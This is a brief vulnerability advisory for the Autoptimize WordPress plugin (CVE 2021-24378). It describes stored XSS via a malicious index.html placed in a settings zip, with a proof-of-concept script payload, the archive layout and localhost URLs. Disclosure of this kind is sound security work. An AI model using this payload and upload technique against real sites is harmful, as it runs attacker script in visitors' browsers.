Autoptimize < 2.7.8 – Authenticated Stored XSS via File Upload | CVE 2021-24378

Description

The plugin does not check for malicious files such as .html in the archive uploaded via the 'Import Settings' feature. As a result, it is possible for a high privilege user to upload a malicious file containing JavaScript code inside an archive which will execute when a victim visits index.html inside the plugin directory.

Proof of Concept

Upload can be done using Import Settings functionality available in the following directory: http://localhost:8000/wp-content/uploads/ao_ccss/dir/wp-admin/options-general.php?page=ao_critcss 

Example content of index.html:
<script>alert(document.domain)</script>

The structure of a zip is as presented below:
$ zip -sf xss.zip
Archive contains:
  index.html
  settings.json
Total 2 entries (40 bytes)

To run the script simply visit URL after the zip is uploaded: http://localhost:8000/wp-content/uploads/ao_ccss/index.html